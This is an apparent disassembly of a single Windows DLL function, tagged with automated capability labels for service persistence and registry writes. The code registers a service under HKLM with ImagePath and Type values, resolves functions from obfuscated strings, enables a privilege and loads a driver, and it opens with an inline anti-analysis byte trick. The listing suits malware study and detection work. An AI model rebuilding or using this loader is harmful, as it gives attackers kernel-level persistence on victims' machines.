Function at 0x18019b280
Capabilities:
Persist via windows service
Set registry value

Disassembly:
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x398
lea rbp, [rsp + 0x50]
and rbp, 0xffffffffffffffe0
mov rax, qword [0x1802a60c0]
xor rax, rsp
mov qword [rbp + 0x330], rax
mov byte [rbp + 0x320], 0xeb
mov byte [rbp + 0x321], 8
mov byte [rbp + 0x322], 0x48
mov byte [rbp + 0x323], Ordinal_143
mov byte [rbp + 0x324], Ordinal_143
mov byte [rbp + 0x325], Ordinal_41
mov byte [rbp + 0x326], 0xe7
mov byte [rbp + 0x327], 0xee
mov byte [rbp + 0x328], 0xfd
mov byte [rbp + 0x329], reloc.WS2_32.dll_setsockopt
mov byte [rbp + 0x32a], Ordinal_200
lea rax, [rsp + 0x3a8]
test rax, rax
jne 0x18019b310
lea rax, [rbp + 0x320]
call rax
xor eax, eax
call rax
nop
lea rcx, [rbp + 0x290]
call fcn.18018c730
nop
lea r8, [rbp + 0x290]
lea rdx, [0x18022ce50]
lea rcx, [rbp + 0x2d0]
call fcn.18019b1b0
nop
mov r8, qword [rsp + 0x3b0]
lea rdx, [0x18022ce98]
lea rcx, [rbp + 0x2b0]
call fcn.18019b1b0
nop
lea rcx, [rbp + 0x2d0]
call fcn.180061f00
lea r8, [rbp + 0x280]
mov rdx, rax
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
mov dword [rbp + 0x18], eax
cmp dword [rbp + 0x18], 0
je 0x18019b42b
mov rax, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
mov qword [rbp + 0x58], rax
lea rax, [rbp]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rbp + 1]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
movzx r9d, byte [rbp]
movzx r8d, byte [rbp + 1]
movzx edx, byte [rbp + 0x20]
lea rcx, [rbp + 0x120]
call fcn.18019ab70
mov rcx, rax
call fcn.18019c2d0
mov qword [rbp + 0x50], rax
mov rdx, qword [rbp + 0x50]
mov rcx, qword [rbp + 0x58]
call fcn.18012e5f0
mov qword [rbp + 0x60], rax
lea rdx, [0x18012ef50]
mov rcx, qword [rbp + 0x60]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
nop
mov byte [rbp + 2], 0
lea rcx, [rbp + 0x2b0]
call fcn.1800469b0
nop
lea rcx, [rbp + 0x2d0]
call fcn.1800469b0
nop
lea rcx, [rbp + 0x290]
call fcn.1800469b0
movzx eax, byte [rbp + 2]
jmp 0x18019ba20
lea rcx, [rbp + 0x2b0]
call fcn.1800df470
shl rax, 1
mov dword [rbp + 0x38], eax
lea rcx, [rbp + 0x2b0]
call fcn.180061f00
mov qword [rbp + 0x68], rax
mov rax, qword [rbp + 0x280]
mov qword [rbp + 0x70], rax
mov eax, dword [rbp + 0x38]
mov dword [rsp + 0x28], eax
mov rax, qword [rbp + 0x68]
mov qword [rsp + 0x20], rax
mov r9d, 2
lea r8, str.ImagePath
xor edx, edx
mov rcx, qword [rbp + 0x70]
call qword [sym.imp.ADVAPI32.dll_RegSetKeyValueW]
mov dword [rbp + 0x18], eax
cmp dword [rbp + 0x18], 0
je 0x18019b54f
mov rcx, qword [rbp + 0x280]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
nop
mov rax, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
mov qword [rbp + 0x80], rax
lea rax, [rbp + 3]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rbp + 4]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
movzx r9d, byte [rbp + 3]
movzx r8d, byte [rbp + 4]
movzx edx, byte [rbp + 0x21]
lea rcx, [rbp + 0x180]
call fcn.18019ac90
mov rcx, rax
call fcn.18019c4e0
mov qword [rbp + 0x78], rax
mov rdx, qword [rbp + 0x78]
mov rcx, qword [rbp + 0x80]
call fcn.18012e5f0
mov qword [rbp + 0x88], rax
lea rdx, [0x18012ef50]
mov rcx, qword [rbp + 0x88]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
nop
mov byte [rbp + 5], 0
lea rcx, [rbp + 0x2b0]
call fcn.1800469b0
nop
lea rcx, [rbp + 0x2d0]
call fcn.1800469b0
nop
lea rcx, [rbp + 0x290]
call fcn.1800469b0
movzx eax, byte [rbp + 5]
jmp 0x18019ba20
mov dword [rsp + 0x28], 4
lea rax, reloc.WS2_32.dll_accept
mov qword [rsp + 0x20], rax
mov r9d, 4
lea r8, str.Type
xor edx, edx
mov rcx, qword [rbp + 0x280]
call qword [sym.imp.ADVAPI32.dll_RegSetKeyValueW]
mov dword [rbp + 0x18], eax
cmp dword [rbp + 0x18], 0
je 0x18019b64d
mov rcx, qword [rbp + 0x280]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
nop
mov rax, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
mov qword [rbp + 0x90], rax
lea rax, [rbp + 6]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rbp + 7]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
movzx r9d, byte [rbp + 6]
movzx r8d, byte [rbp + 7]
movzx edx, byte [rbp + 0x22]
lea rcx, [rbp + 0x1c0]
call fcn.18019adc0
mov rcx, rax
call fcn.18019c4e0
mov qword [rbp + 0x48], rax
mov rdx, qword [rbp + 0x48]
mov rcx, qword [rbp + 0x90]
call fcn.18012e5f0
mov qword [rbp + 0x98], rax
lea rdx, [0x18012ef50]
mov rcx, qword [rbp + 0x98]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
nop
mov byte [rbp + 8], 0
lea rcx, [rbp + 0x2b0]
call fcn.1800469b0
nop
lea rcx, [rbp + 0x2d0]
call fcn.1800469b0
nop
lea rcx, [rbp + 0x290]
call fcn.1800469b0
movzx eax, byte [rbp + 8]
jmp 0x18019ba20
mov rcx, qword [rbp + 0x280]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
nop
lea rax, [rbp + 9]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rbp + 0xa]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
movzx r9d, byte [rbp + 9]
movzx r8d, byte [rbp + 0xa]
movzx edx, byte [rbp + 0x23]
lea rcx, [rbp + 0x100]
call fcn.18019aaa0
mov rcx, rax
call fcn.18019c160
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov qword [rbp + 0x30], rax
cmp qword [rbp + 0x30], 0
jne 0x18019b6e4
mov byte [rbp + 0xb], 0
lea rcx, [rbp + 0x2b0]
call fcn.1800469b0
nop
lea rcx, [rbp + 0x2d0]
call fcn.1800469b0
nop
lea rcx, [rbp + 0x290]
call fcn.1800469b0
movzx eax, byte [rbp + 0xb]
jmp 0x18019ba20
lea rax, [rbp + 0xc]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rbp + 0xd]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
movzx r9d, byte [rbp + 0xc]
movzx r8d, byte [rbp + 0xd]
movzx edx, byte [rbp + 0x24]
lea rcx, [rbp + 0x140]
call fcn.18019aef0
mov rcx, rax
call fcn.18019c2d0
mov rdx, rax
mov rcx, qword [rbp + 0x30]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0xa0], rax
lea rax, [rbp + 0xe]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rbp + 0xf]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
movzx r9d, byte [rbp + 0xe]
movzx r8d, byte [rbp + 0xf]
movzx edx, byte [rbp + 0x25]
lea rcx, [rbp + 0x110]
call fcn.18019af70
mov rcx, rax
call fcn.18019c160
mov rdx, rax
mov rcx, qword [rbp + 0x30]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0xc8], rax
mov dword [rbp + 0x3c], 0xa
mov rax, qword [rbp + 0xa0]
mov qword [rbp + 0xa8], rax
lea r9, [rbp + 0x288]
xor r8d, r8d
mov dl, 1
mov ecx, dword [rbp + 0x3c]
call qword [rbp + 0xa8]
mov dword [rbp + 0x1c], eax
cmp dword [rbp + 0x1c], 0
jge 0x18019b880
mov rax, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
mov qword [rbp + 0xb8], rax
lea rax, [rbp + 0x10]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rbp + 0x11]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
movzx r9d, byte [rbp + 0x10]
movzx r8d, byte [rbp + 0x11]
movzx edx, byte [rbp + 0x26]
lea rcx, [rbp + 0x200]
call fcn.18019afc0
mov rcx, rax
call fcn.18019c840
mov qword [rbp + 0xb0], rax
mov rdx, qword [rbp + 0xb0]
mov rcx, qword [rbp + 0xb8]
call fcn.18012e5f0
mov qword [rbp + 0xc0], rax
lea rdx, [0x18012ef50]
mov rcx, qword [rbp + 0xc0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
nop
mov byte [rbp + 0x12], 0
lea rcx, [rbp + 0x2b0]
call fcn.1800469b0
nop
lea rcx, [rbp + 0x2d0]
call fcn.1800469b0
nop
lea rcx, [rbp + 0x290]
call fcn.1800469b0
movzx eax, byte [rbp + 0x12]
jmp 0x18019ba20
lea r8, [rbp + 0x290]
lea rdx, [0x18022ced0]
lea rcx, [rbp + 0x300]
call fcn.18019b1b0
nop
lea rcx, [rbp + 0x300]
call fcn.180061f00
mov rdx, rax
lea rcx, [rbp + 0x2f0]
call sub.ntdll.dll_RtlInitUnicodeString
mov rax, qword [rbp + 0xc8]
mov qword [rbp + 0xd0], rax
lea rcx, [rbp + 0x2f0]
call qword [rbp + Ordinal_211]
mov dword [rbp + 0x1c], eax
mov rax, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
mov qword [rbp + 0xe0], rax
lea rax, [rbp + 0x13]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rbp + 0x14]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
movzx r9d, byte [rbp + 0x13]
movzx r8d, byte [rbp + 0x14]
movzx edx, byte [rbp + 0x27]
lea rcx, [rbp + 0x160]
call fcn.18019b130
mov rcx, rax
call fcn.18019c2d0
mov qword [rbp + 0xd8], rax
mov rdx, qword [rbp + 0xd8]
mov rcx, qword [rbp + 0xe0]
call fcn.18012e5f0
mov qword [rbp + 0xe8], rax
lea rdx, [0x1800a9a60]
mov rcx, qword [rbp + 0xe8]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
mov qword [rbp + 0xf0], rax
mov edx, dword [rbp + 0x1c]
mov rcx, qword [rbp + 0xf0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___long_int____ptr64]
mov qword [rbp + 0x40], rax
lea rdx, [0x18012ef50]
mov rcx, qword [rbp + 0x40]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
nop
cmp dword [rbp + 0x1c], 0xc000010e
jne 0x18019b9cc
mov byte [rbp + 0x15], 1
lea rcx, [rbp + 0x300]
call fcn.1800469b0
nop
lea rcx, [rbp + 0x2b0]
call fcn.1800469b0
nop
lea rcx, [rbp + 0x2d0]
call fcn.1800469b0
nop
lea rcx, [rbp + 0x290]
call fcn.1800469b0
movzx eax, byte [rbp + 0x15]
jmp 0x18019ba20
cmp dword [rbp + 0x1c], 0
jl 0x18019b9db
mov dword [rbp + 0x28], 1
jmp 0x18019b9e2
mov dword [rbp + 0x28], 0
movzx eax, byte [rbp + 0x28]
mov byte [rbp + 0x16], al
lea rcx, [rbp + 0x300]
call fcn.1800469b0
nop
lea rcx, [rbp + 0x2b0]
call fcn.1800469b0
nop
lea rcx, [rbp + 0x2d0]
call fcn.1800469b0
nop
lea rcx, [rbp + 0x290]
call fcn.1800469b0
movzx eax, byte [rbp + 0x16]
mov rcx, qword [rbp + 0x330]
xor rcx, rsp
call fcn.1801f08c0
add rsp, 0x398
pop rdi
pop rbp
ret